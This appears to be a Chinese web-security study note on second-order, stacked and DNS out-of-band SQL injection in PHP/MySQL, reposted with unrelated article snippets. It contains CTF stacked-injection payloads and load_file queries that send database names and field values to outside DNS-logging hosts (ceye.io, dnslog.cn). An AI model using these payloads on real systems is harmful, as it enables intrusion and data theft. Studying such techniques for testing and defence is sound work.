当前位置: 首页 > news >正文

Day45:WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件

目录

PHP-MYSQL-二次注入-DEMO&74CMS

DEMO-用户注册登录修改密码

CMS-74CMS个人中心简历功能

PHP-MYSQL-堆叠注入-DEMO&CTF强网

Demo

2019强网杯-随便注(CTF题型)

PHP-MYSQL-带外注入-DEMO&DNSLOG(让服务器主动把数据交出去)


知识点:

1、PHP-MYSQL-SQL注入-二次注入&利用条件

2、PHP-MYSQL-SQL注入-堆叠注入&利用条件

3、PHP-MYSQL-SQL注入-带外注入&利用条件

以下漏洞在实战中是很难碰到的

PHP-MYSQL-二次注入-DEMO&74CMS

黑盒思路:分析功能有添加后对数据操作的地方(功能点)几乎不可能,干扰因素太多
白盒思路:insert后进入select或update的功能的代码块(一般都通过这个方式挖出来)
 

1、DEMO-用户注册登录修改密码
2、CMS-74CMS个人中心简历功能
黑盒思路:分析功能有添加后对数据操作的地方(功能点)
白盒思路:insert后进入select或update的功能的代码块
注入条件:插入时有转义函数或配置,后续有利用插入的数据

DEMO-用户注册登录修改密码

CMS-74CMS个人中心简历功能

PHP-MYSQL-堆叠注入-DEMO&CTF强网

Demo

堆叠注入触发的条件很苛刻:因为堆叠注入原理就是通过结束符(;)同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL。
所以要想目标存在堆叠注入,在目标代码中存在类似于mysqli_multi_query()这样的函数并且也要看目标数据库类型是否支持多语句执行

在数据库中这样执行是没有问题的,但是如果在实战中,都是通过网站插入注入语句,那么这个时候就得看这个网站当前的脚本支不支持多语句查询,也就是有没有使用mysqli_multi_query函数(该函数支持多SQL语句查询)

产生条件:支持堆叠数据库:MYSQL MSSQL Postgresql等

  1. 目标脚本代码中存在多语句执行函数(mysqli_multi_query)并对;号不过滤
  2. 目标数据库类型支不支持多SQL语句执行


 

2019强网杯-随便注(CTF题型)

';show databases;

';show tables;

';show columns from 1919810931114514;

';select flag from 1919810931114514;
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

PHP-MYSQL-带外注入-DEMO&DNSLOG(让服务器主动把数据交出去)

注入条件:

  1. root高权限且支持load_file()函数(mysql有个secure-file-priv配置会限制load_file函数)
  2. windows系统(需要用到\号)为啥payload需要用到四个\\,就是因为数据库转义

有部分注入点是没有回显的,所以读取也是没回显的,就得采用带外注入

使用平台:http://ceye.io

ping test.dbuh8a.ceye.io //test是随便改的,后面是固定的

ping %USERNAME%.dbuh8a.ceye.io //%USERNAME%获取本地计算机用户名的

带外应用场景
解决不回显,反向连接,SQL注入,命令执行,SSRF等

数据库里执行:
select load_file(concat(‘\\’,(select database()),‘.7logee.dnslog.cn\aa’)); //aa随便输入的

SQL注入:

and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc'))) //abc随便输入的

// 查询当前数据库
id=1 and load_file(concat("\\\\",database(),".dbuh8a.ceye.io\\asdt"))//查询其他数据库
id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个数据库名
limit 1,1 查询第二个数据库名
limit 2,1 查询第三个数据库名
"""//查询版本号
id=1 and load_file(concat("\\\\",version(),".dbuh8a.ceye.io\\xxx.txt"))//查询当前数据库demo01中第一个表名
id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='demo01' limit 0,1 ),".dbuh8a.ceye.io\\xxx.txt"))"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个表名
limit 1,1 查询第二个表名
limit 2,1 查询第三个表名
"""
//查询security数据库emails表下第一个列名
id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))//查询字段值  数据库名为security 表名emails 列名id
id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数

limit 0,1 查询第一个表名

limit 1,1 查询第二个表名

limit 2,1 查询第三个表名

相关文章:

Day45:WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件

目录 PHP-MYSQL-二次注入-DEMO&74CMS DEMO-用户注册登录修改密码 CMS-74CMS个人中心简历功能 PHP-MYSQL-堆叠注入-DEMO&CTF强网 Demo 2019强网杯-随便注(CTF题型) PHP-MYSQL-带外注入-DEMO&DNSLOG(让服务器主动把数据交出去) 知识点&…...

web安全之:三种常见的Web安全威胁

Web安全是确保Web应用和用户数据安全的一系列措施和实践。了解和防御常见的安全威胁是每个Web开发人员的基本职责。下面,我们将详细讨论三种常见的Web安全威胁:SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)…...

C#,图论与图算法,用于检查给定图是否为欧拉图(Eulerian Graph)的算法与源程序

1 欧拉图 欧拉图是指通过图(无向图或有向图)中所有边且每边仅通过一次通路, 相应的回路称为欧拉回路。具有欧拉回路的图称为欧拉图(Euler Graph), 具有欧拉通路而无欧拉回路的图称为半欧拉图。 对欧拉图的一个现代扩展是蜘蛛图,它向欧拉图增加了可以连接的存在点。 这给…...

Dubbo框架的介绍

什么是dubbo Dubbo是一个高性能的、轻量级的开源RPC(远程过程调用)框架,由阿里巴巴公司开发并开源。它提供了基于Java的远程服务调用和管理的解决方案,可以帮助开发者快速构建分布式应用和服务。 Dubbo具有以下特点: …...

手机实时监控电脑屏幕(手机可以看到电脑在干什么吗)

已经2024年了,假如你还在问我,手机可以看到电脑在干什么吗,有没有手机实时监控电脑屏幕的系统。 那么证明,你可能已经out 了。 现代科技告诉发展的态势下,这种技术已经很成熟了。 域智盾软件就可以实现这种效果↓我们…...

合成孔径雷达干涉测量InSAR数据处理、地形三维重建、形变信息提取、监测

原文链接:合成孔径雷达干涉测量InSAR数据处理、地形三维重建、形变信息提取、监测https://mp.weixin.qq.com/s?__bizMzUzNTczMDMxMg&mid2247598798&idx7&snc054ed7c9d9c433d00837a7798080935&chksmfa820329cdf58a3f6b5986d6d4da3d19f81e3efd0b159f…...

云原生(五)、Docker-Swarm集群

基础环境说明 1、环境准备 1、启动4台服务器(在同一个网段内)。 2、重命名4台服务器,方便区分。 hostnamectl set-hostname swarm1 reboot安装docker。参考文章:云原生(二)、Docker基础 2、DockerSwarm…...

arm核的DMPIS是如何计算的

直接看这篇:https://zhuanlan.zhihu.com/p/660155292 写的很好: "SA8155P的CPU算力计算如下(按照A75性能提升50%来计算,即 5.2 * 1.5 7.8 DMIPS/MHz ) SA8155P算力 2.419GHz * 1核 * 7.8 DMIPS/MHz 2.131GH…...

Axure RP 9 for Mac中文激活版:原型设计工具

Axure RP 9 for Mac是一款值得设计师信赖的原型设计工具。它以其卓越的性能和稳定的运行赢得了广大用户的赞誉。 软件下载:Axure RP 9 for Mac中文激活版下载 在Axure RP 9中,您可以尽情发挥自己的设计才华,创造出独一无二的原型作品。无论是…...

Hive 数据迁移与备份

迁移类型 同时迁移表及其数据(使用import和export) 迁移步骤 将表和数据从 Hive 导出到 HDFS将表和数据从 HDFS 导出到本地服务器将表和数据从本地服务器复制到目标服务器将表和数据从目标服务器上传到目标 HDFS将表和数据从目标 HDFS 上传到目标 Hiv…...

FFMpeg 获取音频音量、提高音量

查看音量 准备原生音频original.mp3 查看original.mp3的音量信息: ffmpeg -i original.mp3 -filter_complex volumedetect -c:v copy -f null /dev/null输出: Input #0, mp3, from original.mp3:Metadata:artist : Administratorencoder …...

【java数据结构】基于java提供的ArrayList实现的扑克牌游戏-(附源码~)

【Java数据结构】基于java泛型实现的二维数组完成三人扑克游戏 基本框架的实现创建一副牌如何进行洗牌:每个人抓的牌放到哪里: 源码具体实现cardcardsTest 个人简介:努力学编程 每日鸡汤:stay foolish,stay hungry-史蒂芬.乔布斯斯…...

R语言:microeco:一个用于微生物群落生态学数据挖掘的R包,第八:trans_func class

# 生态学研究人员通常对微生物群落的功能特征感兴趣,因为功能或代谢数据对于解释微生物群落的结构和动态以及推断其潜在机制是强有力的。 # 由于宏基因组测序复杂且昂贵,利用扩增子测序数据预测功能谱是一个很好的选择。 # 有几个软件经常用于此目标&…...

王道c语言-二叉树前序、中序、后序、层次遍历

main.cpp #include "function.h"//abdhiejcfg 前序遍历深度优先遍历 abdhiejcfg void PreOrder(BiTree p) {if (p ! NULL) {printf("%c ", p->c);//等价于putchar(p->c);等价于visit函数伪代码PreOrder(p->lchild);PreOrder(p->rchild);} }//…...

<REAL-TIME TRAFFIC OBJECT DETCTION FOR AUTONOMOUS DRIVING>论文阅读

Abstract 随着计算机视觉的最新进展,自动驾驶迟早成为现代社会的一部分,然而,仍有大量的问题需要解决。尽管现代计算机视觉技术展现了优越的性能,他们倾向于将精度优先于效率,这是实时应用的一个重要方面。大型目标检测…...

优化 - 排序算法

一、概念 冒泡排序从左往右比较相邻的两个元素,右比左小就换位,这样最大值就出现在了右边最后一个元素上,再从左边第一个元素开始往右比较到倒数第二个元素,如此重复...选择排序 通过线性查找(从左往右挨个查找&#…...

Python实战:深拷贝与浅拷贝

1. 引言 在Python中,对象是通过对内存中的数据进行引用来实现的。当我们创建一个对象并将其赋值给另一个变量时,实际上是将这个对象的引用复制给了另一个变量。这意味着,如果原始对象发生改变,引用该对象的变量也会受到影响。为了…...

rollup打包起手式

使用Rollup打包JavaScript rollup是一款小巧的javascript模块打包工具,更适合于库应用的构建工具;可以将小块代码编译成大块复杂的代码,基于ES6 modules,它可以让你的 bundle 最小化,有效减少文件请求大小,vue在开发的时候用的是webpack,但是…...

【笔记】语言实例比较 3. 无重复字符的最长子串 C++ Rust Java Python

语言实例比较 3. 无重复字符的最长子串 C Rust Java Python C C: 9ms O ( N 2 ) O(N^2) O(N2), 8.68MB mem O ( 1 ) O(1) O(1) 滑动窗口循环 class Solution { public:int lengthOfLongestSubstring(const string s) {//s[start,end) 前面包含 后面不包含int res(0);for (…...

int的大小你知道时4个字节,那么类的大小你知道怎么计算吗?

文章目录 1、如何计算类对象的大小2、类对象的存储方式猜测3、结构体内存对齐规则1、如何计算类对象的大小 class A { public: void PrintA() { cout<<_a<<endl; } private: char _a; };问题: 类中既可以有成员变量,又可以有成员函数,那么一个类的对象中包含了…...

【Java_EE】Spring MVC

目录 Spring Web MVC ​编辑注解 RestController RequestMapping RequestParam RequestParam RequestBody PathVariable RequestPart 参数传递 注意事项 ​编辑参数重命名 RequestParam ​编辑​编辑传递集合 RequestParam 传递JSON数据 ​编辑RequestBody ​…...

3403. 从盒子中找出字典序最大的字符串 I

3403. 从盒子中找出字典序最大的字符串 I 题目链接&#xff1a;3403. 从盒子中找出字典序最大的字符串 I 代码如下&#xff1a; class Solution { public:string answerString(string word, int numFriends) {if (numFriends 1) {return word;}string res;for (int i 0;i &…...

[Java恶补day16] 238.除自身以外数组的乘积

给你一个整数数组 nums&#xff0c;返回 数组 answer &#xff0c;其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请 不要使用除法&#xff0c;且在 O(n) 时间复杂度…...

Linux C语言网络编程详细入门教程:如何一步步实现TCP服务端与客户端通信

文章目录 Linux C语言网络编程详细入门教程&#xff1a;如何一步步实现TCP服务端与客户端通信前言一、网络通信基础概念二、服务端与客户端的完整流程图解三、每一步的详细讲解和代码示例1. 创建Socket&#xff08;服务端和客户端都要&#xff09;2. 绑定本地地址和端口&#x…...

在鸿蒙HarmonyOS 5中使用DevEco Studio实现企业微信功能

1. 开发环境准备 ​​安装DevEco Studio 3.1​​&#xff1a; 从华为开发者官网下载最新版DevEco Studio安装HarmonyOS 5.0 SDK ​​项目配置​​&#xff1a; // module.json5 {"module": {"requestPermissions": [{"name": "ohos.permis…...

Scrapy-Redis分布式爬虫架构的可扩展性与容错性增强:基于微服务与容器化的解决方案

在大数据时代&#xff0c;海量数据的采集与处理成为企业和研究机构获取信息的关键环节。Scrapy-Redis作为一种经典的分布式爬虫架构&#xff0c;在处理大规模数据抓取任务时展现出强大的能力。然而&#xff0c;随着业务规模的不断扩大和数据抓取需求的日益复杂&#xff0c;传统…...

GB/T 43887-2024 核级柔性石墨板材检测

核级柔性石墨板材是指以可膨胀石墨为原料、未经改性和增强、用于核工业的核级柔性石墨板材。 GB/T 43887-2024核级柔性石墨板材检测检测指标&#xff1a; 测试项目 测试标准 外观 GB/T 43887 尺寸偏差 GB/T 43887 化学成分 GB/T 43887 密度偏差 GB/T 43887 拉伸强度…...

NineData数据库DevOps功能全面支持百度智能云向量数据库 VectorDB,助力企业 AI 应用高效落地

NineData 的数据库 DevOps 解决方案已完成对百度智能云向量数据库 VectorDB 的全链路适配&#xff0c;成为国内首批提供 VectorDB 原生操作能力的服务商。此次合作聚焦 AI 开发核心场景&#xff0c;通过标准化 SQL 工作台与细粒度权限管控两大能力&#xff0c;助力企业安全高效…...

代理服务器-LVS的3种模式与调度算法

作者介绍&#xff1a;简历上没有一个精通的运维工程师。请点击上方的蓝色《运维小路》关注我&#xff0c;下面的思维导图也是预计更新的内容和当前进度(不定时更新)。 我们上一章介绍了Web服务器&#xff0c;其中以Nginx为主&#xff0c;本章我们来讲解几个代理软件&#xff1a…...

Centos 7 服务器部署多网站

一、准备工作 安装 Apache bash sudo yum install httpd -y sudo systemctl start httpd sudo systemctl enable httpd创建网站目录 假设部署 2 个网站&#xff0c;目录结构如下&#xff1a; bash sudo mkdir -p /var/www/site1/html sudo mkdir -p /var/www/site2/html添加测试…...